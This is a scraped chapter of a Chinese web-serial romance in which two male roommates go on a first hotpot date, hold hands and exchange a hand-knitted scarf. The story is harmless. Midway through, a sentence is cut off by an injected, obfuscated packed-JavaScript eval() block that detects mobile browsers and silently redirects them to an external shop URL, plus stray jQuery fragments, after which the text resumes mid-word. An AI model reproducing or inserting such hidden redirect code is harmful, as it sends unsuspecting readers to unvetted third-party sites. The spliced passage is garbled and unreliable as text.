文趣网 > 都市小说 > 我被病娇室友盯上 > 8. 慢慢靠近
    简逾白以为自己说了“我喜欢你”之后,日子会发生什么天翻地覆的变化。比如江欲燃会变本加厉地黏人,或者两个人之间会多出某种尴尬的、不知道该往哪放的氛围。但实际情况是——什么都没变。江欲燃还是每天早上雷打不动地买两份早餐回来,还是每天晚上理直气壮地爬上他的床,还是在他写作业的时候趴在桌沿上看他。唯一不同的是,他现在趴着看人的时候会笑,那种笑很轻很浅,但藏不住,像偷到了全世界最甜的糖还怕被人发现。

    简逾白被那种笑盯得浑身不自在,终于在第三天早上咬着包子含糊地开口:“你能不能别那么看我?”

    “怎么看了?”

    “就……那种。”简逾白比划了一下,“你以前不会这么笑。”

    江欲燃单手撑着下巴,歪了歪头:“以前不敢。怕把你吓跑了。”

    “那现在怎么敢了?”

    “现在反正跑不掉了,想怎么笑怎么笑。”

    简逾白把包子咽下去:“谁说我跑不掉了?”

    “你说的。”

    “我什么时候说了?”

    “上周五下午三点十七分。”江欲燃说,“你在宿舍门口换鞋的时候说的,原话是‘在呢,跑不了’。”

    简逾白张了张嘴,发现自己确实说过。他咬着吸管喝豆浆不说话了,耳朵又开始发热,豆浆喝完了把杯子一放站起来去拿书包:“我上课去了。”

    “我送你。”

    “不用,就教学楼。”

    “那我陪你走到教学楼门口。”

    “江欲燃。”

    “好,走到食堂门口。”

    “……随你。”

    简逾白背着书包出了门,江欲燃跟在他旁边,两个人走在秋天的晨光里,步子不快不慢。路上有同班的女生路过跟他们打招呼,视线在两个人之间来来回回扫了两圈,脸上露出了“原来如此”的表情,笑着走了。简逾白假装没看见,江欲燃则坦然得很,甚至还朝那个女生的方向微微点了一下头,像在确认什么。

    简逾白偏头看了他一眼:“你点头干嘛?”

    “她看出来了,我表示一下认可。”

    “你看出来什么了?”

    “你看不出来吗?”江欲燃偏过头看着他,晨光从侧面照过来,把他眼尾那颗小痣照得亮晶晶的,“她看出来我们在一起了。”

    简逾白的脚步顿了一下。他低头往前走,沉默了几秒之后小声嘟囔了一句:“……本来就在一起了。”

    江欲燃走在他旁边,忽然笑了一声,伸手把他外套后面的帽子拉起来扣在他头上。简逾白被他扣习惯了,这次连挣扎都没挣扎,伸手把帽檐往上推了推露出眼睛,继续往前走。帽沿底下他的嘴角是弯的,但他藏得很好,江欲燃应该没看见。

    这个“应该”的含金量他自己心里也没底。

    周三下午简逾白没课,被周扬拉去摄影社帮忙整理活动室的器材。他蹲在储物架前面清点镜头,周扬搬了个箱子过来放在他旁边,一边整理一边用闲聊的口气说:“哎,你跟你室友现在到底什么情况?”

    简逾白手里的镜头差点没拿稳:“……什么什么情况?”

    “你别装啊,迎新晚会那天好多人都看见了。”周扬蹲下来压低声音,“你拍他,他看你,散场的时候还一起走的,还牵——”

    “没牵。”简逾白飞快地打断。

    “我没说牵什么啊。”周扬笑眯眯地看着他。

    简逾白把镜头往箱子里一搁:“……你没事干去擦那边的三脚架。”

    周扬笑着站起来走了,走了两步又回头补了一句:“你俩要是真在一起了,记得请我吃饭啊,我可是从头到尾都没把你看房那事说出去。”

    简逾白蹲在储物架前面,把脸埋进臂弯里闷了好一会儿才重新站起来。他清点完器材走出活动室的时候,看见江欲燃蹲在门口的台阶上,手里拿着手机正低头打字。秋日午后的阳光暖融融地照在他肩上,把那件深蓝色的卫衣晒出了一层毛茸茸的光边。他听见脚步声抬起头来,把手机收进口袋站起来。

    “忙完了?”

    “嗯。你等多久了?”

    “刚到。”江欲燃说。但简逾白注意到他手机上显示的微信界面,最新一条消息是十分钟前发给自己的“我在活动室门口等你”,他没回,因为他在清点器材没看手机。所以江欲燃至少蹲在这里等了十分钟,什么也没干,就蹲着等他出来。

    简逾白走到他面前站定:“下次我忙的时候你不用等,弄完了我自己会回去。”

    “我知道。”江欲燃说,“但我想来接你。”

    简逾白看着他逆光站着的样子,午后的阳光把他整个人镀了一层暖融融的边,头发被风吹乱了几缕,眼尾那颗小痣在光里亮晶晶的。他看了几秒,忽然开口:“江欲燃。”

    “嗯?”

    “周五晚上有空吗?”

    江欲燃歪了歪头,目光里闪过一点意外:“有,怎么了?”

    “出去吃饭吧。”简逾白说完之后就低头往前走,声音闷闷的,“我请客。”

    江欲燃站在原地愣了一瞬,然后快步跟上来,走到简逾白旁边的时候偏着头看他,嘴角弯着一个压都压不下去的弧度:“逾白,你这是要跟我约会吗?”

    简逾白的耳朵连着脖子红了一片:“……就是吃个饭。”

    “嗯,就是吃个饭。”

    “你别那么笑。”

    “我笑了吗?”

    “你嘴角都快咧到耳朵了。”

    江欲燃伸手揉了揉自己的脸,把嘴角那个过于明显的弧度压了压,但没压住,索性放弃了。他走在简逾白旁边,忽然伸手过去,指尖碰了碰简逾白垂在身侧的手背。简逾白的手指微微蜷了一下,但没有躲开。江欲燃的指尖顺着他的手背滑进去,扣住了他的手指,十指相握,掌心贴着掌心。

    秋日午后的阳光温暖干燥,把两个人的影子拉得又长又斜,在地面上叠在一起,分不清谁是谁的。

    周五晚上简逾白提前二十分钟就到了校门口。他换了一件干净的白色卫衣,头发也打理过,规规矩矩地站在门口的路灯下面等。深秋的傍晚风凉,他把外套拉链拉到最上面,缩着脖子呼出一口白气,忽然觉得自己有点傻——明明就是吃个饭,整得跟什么隆重仪式一样。

    他低头看了一眼手机,屏幕上干干净净的,没有新消息。他正想着江欲燃怎么还没来,余光扫到一个人影从校门里小跑着出来——穿了一件黑色大衣,里面搭了件浅灰色的毛衣,头发比平时整理得更服帖一些,额前的碎发被拨到了一边。江欲燃跑到他面前站定,呼吸微微喘着,看见简逾白之后先是上下打量了一圈,然后嘴角慢慢弯起来:“你换衣服了。”

    “……你不也换了。”

    “我平时不穿大衣。”

    “那今天怎么穿了?”

    江欲燃伸手把他外套帽子上的绒毛整理了一下,手指蹭过他的后颈,凉凉的:“因为是约会。”

    简逾白抓住他收回来的手:“说了就是吃个饭。”

    “嗯,吃饭。”江欲燃反手握住他的手指,嗓音里压着笑意,“走吧,去哪吃?”

    简逾白带他去了学校后街一家小火锅店。店面不大,但干净暖和,热气腾腾的锅底端上来的时候两个人面对面坐着,白雾隔在中间把对方的五官氤氲得有些模糊。简逾白把菜单推过去:“你点,我随便。”

    江欲燃没客气,接过菜单勾了一堆,递给服务员的时候又补了一句:“辣锅那边别放香菜。”

    服务员走了之后简逾白隔着雾气看他:“你怎么知道我爱吃辣?”

    “你上周吃了三顿食堂的辣子鸡。”

    “那也可能是凑巧。”

    “你吃饭的时候会把辣的那边先吃完再吃不辣的。”江欲燃拿起桌上的杯子喝了口水,“你每次吃辣的时候都会先吸一口气再动筷子,吃到过瘾的地方会眯一下眼。”

    简逾白端着水杯的手顿住了。他隔着火锅升腾的白雾看着对面的人,看着江欲燃在雾气后面被柔化了棱角的眉眼,心里忽然涌上来一种很满很满的东西,像有什么温热的水在胸腔里涨满了,沿着边缘往外漫。他想起来第一天晚上这个人坐在他床尾像一尊雕塑,想起来半夜被压着“驱邪”时又慌又乱的心跳,想起来那枚写着“简逾白我的”的黄符和那颗歪歪扭扭的小爱心,想起来自己明明想跑却一次次留下的每个瞬间。

    “江欲燃。”他开口,声音被火锅咕嘟咕嘟的声响衬得很轻。

    “嗯?”

    “你盯着我看多久了?”

    江欲燃夹起一片肉放进锅里涮了涮,头也不抬:“从第一天就开始了。”

    “第一天就看上了?”

    “第一天看你拖着行李箱站在门口的样子,就觉得这个人怎么长得这么合我眼缘。”江欲燃把涮好的肉夹到他碗里,“后来发现不止合眼缘,从头到脚都合。”

    简逾白低头看着碗里那片肉:“你就仗着我现在不会跑。”

    “那你跑吗?”

    “不跑。”简逾白把肉塞进嘴里,嚼了两下咽下去,然后抬头看着他,“所以你也别每天跟盯贼似的盯着我了。”

    “那盯什么?”

    “盯——”简逾白想了想,耳朵又红了,“随便你盯什么,别让我发现。”

    江欲燃隔着火锅的雾气笑了一声,那种笑声很轻,像水面上漂过去的一片落叶,落在心尖上微微痒。他没有再说话,只是不停地往简逾白碗里夹菜,肉片、虾滑、豆腐、金针菇,把碗堆得满满的,直到简逾白终于忍不住说“别夹了我吃不完”才停下来。

    吃完饭出来的时候天已经全黑了,后街的路灯亮着暖黄色的光,把两个人并肩走路的影子拉得很长。简逾白吃得有点撑,走路比平时慢了一些,江欲燃也跟着放慢了步子走在他旁边,两个人的手在路灯下不知什么时候又握在了一起,十指交扣,掌心相贴。

    走到学校东门的时候,路灯下有一对情侣正靠在一起拍照。男生举着手机比了个剪刀手,女生踮起脚在他脸上亲了一下,“咔嚓”一声定格了。简逾白路过的时候余光扫了一眼,正想收回视

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691761|207914||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    线,旁边的江欲燃忽然偏过头来看着他,目光里带着一种很认真、很坦然的意味。

    “……你干嘛?”

    “没什么。”江欲燃收回目光,低头看了一眼两个人交握的手,“就想看看你。”

    简逾白被他看得心跳乱了一拍。他别过头往前走,加快了几步,但江欲燃的手还在他掌心里攥着,把他拉住了。简逾白回头看他:“走不走?”

    “走。”江欲燃跟上来,在他旁边走着走着忽然开口,“逾白。”

    “嗯?”

    “你今天真好看。”

    简逾白脚步一乱差点绊到自己。他稳住重心之后偏过头瞪了江欲燃一眼,但那双瞪着的眼睛里没有火气,只有被热气熏得有些泛红的脸颊和耳朵。江欲燃看着他这副模样,嘴角弯了弯,没有再逗他,只是牵着他的手往前走。

    回到宿舍之后简逾白坐在桌前喝水,胃里暖融融的,整个人像被火锅的热气和晚上的夜风混着洗了一遍,懒洋洋的不想动。江欲燃在他旁边坐了一会儿,站起来去阳台收衣服,收完回来的时候手里多了一团灰色的东西,扔到简逾白桌上。

    简逾白低头一看,是一条灰色的围巾,针织的,针脚有些疏密不一,像手工织的。

    “这什么?”

    “围巾。”江欲燃坐在自己桌前,语气有些不太自然地别过头去,“上周买的线,闲着没事学着织的。”

    简逾白把围巾拿起来看了一圈。针脚确实不太均匀,有几针松了几针紧了,但整体形状还算规整,长度也刚好够绕两圈。他摸了摸毛线的质地,柔软的,不扎手。

    “你什么时候学的?”

    “就……晚上你睡了之后。”江欲燃的声音有点不自在,“你睡了我睡不着,就起来织几针。”

    简逾白看着手里那条围巾,又抬头看了一眼江欲燃——那人偏着头假装在整理桌上的刻刀,但耳朵尖是红的。他想起自己半夜偶尔会醒过来一次,有时迷迷糊糊感觉到旁边的床垫有轻微的动静,但太困了没睁眼,第二天早上起来桌上有热早饭,什么异常都没有。他从来没有多想,原来那些半夜的时间,江欲燃在给他织围巾。

    “你熬夜织这个?”简逾白问。

    “……没熬夜,就织一会儿。”

    “你黑眼圈都出来了。”

    江欲燃终于肯转过来看他,嘴角弯着一个有点心虚的弧度:“那你不戴我就不织了。”

    简逾白站起来,把围巾绕在脖子上绕了两圈。围巾柔软地贴着下巴和颈侧,暖融融的,带着毛线本身蓬松的触感,像被人轻轻环住了脖子。他站在桌前偏头看着镜子里的自己,灰色的围巾衬着白色卫衣,显得整个人都温柔了几分。他回头看了一眼江欲燃:“好看吗?”

    江欲燃靠在椅背上看着他,目光落在那条围巾上,又落在他被围巾遮住了一半的下巴上,再落在他看着镜子的侧脸上。他看了好几秒才开口:“好看。”

    简逾白伸手把围巾调整了一下位置,坐回椅子上,低头摸了摸围巾的针脚。那些疏密不一的毛线在指尖下的触感温热柔软,像江欲燃这个人——粗的地方是真的粗,细的地方又细得让人心软。

    “江欲燃。”

    “嗯。”

    “下次别熬夜织了。”简逾白说,“对身体不好。”

    “那白天织。”

    “……你白天不上课?”

    “课可以不听。”江欲燃说得理所当然,“围巾不能停。”

    简逾白被他噎了一下,最后只憋出来一句:“那你上课织的时候别被老师发现。”

    江欲燃看着他,忽然笑了一声:“逾白,你这个反应不对。”

    “怎么不对了?”

    “正常人不应该说不让我织。”

    简逾白把围巾往下拉了拉露出嘴:“那正常人应该说什么?”

    “正常人应该说,你别织了,我给你买一条。”

    简逾白沉默了两秒,然后他站起来走到江欲燃面前,弯腰把那团还没收拾好的毛线拿起来放回桌上,然后盯着江欲燃的眼睛认认真真地说:“那我给你买一条。”

    江欲燃仰头看着他,眼尾那颗小痣在台灯光里亮晶晶的。他伸手攥住简逾白垂在身侧的手指,轻轻捏了捏,指腹摩挲过他的指节:“不用买。你给我织一条就行。”

    “……我不会。”

    “我教你。”江欲燃攥着他的手指把他往自己这边带了带,“你学会了给我织一条,要灰色的。”

    简逾白被他攥着手指站在他面前,低头看着那双亮晶晶的眼睛,忽然觉得鼻尖有点酸。他说不上来那种酸是怎么回事——可能是晚上火锅的蒸汽还没散干净,可能是围巾太暖和了把眼睛熏热了。他弯下腰,用额头轻轻碰了一下江欲燃的额头,碰了一下就退开了,快得像蜻蜓点水。

    “等我学会了再说。”他说完就转身爬上了自己的床,被子拉到下巴,只露出两个红透了的耳朵。

    江欲燃坐在椅子上,额头上那点温热的触感还没散。他抬手摸了摸自己的额头,笑了。

    /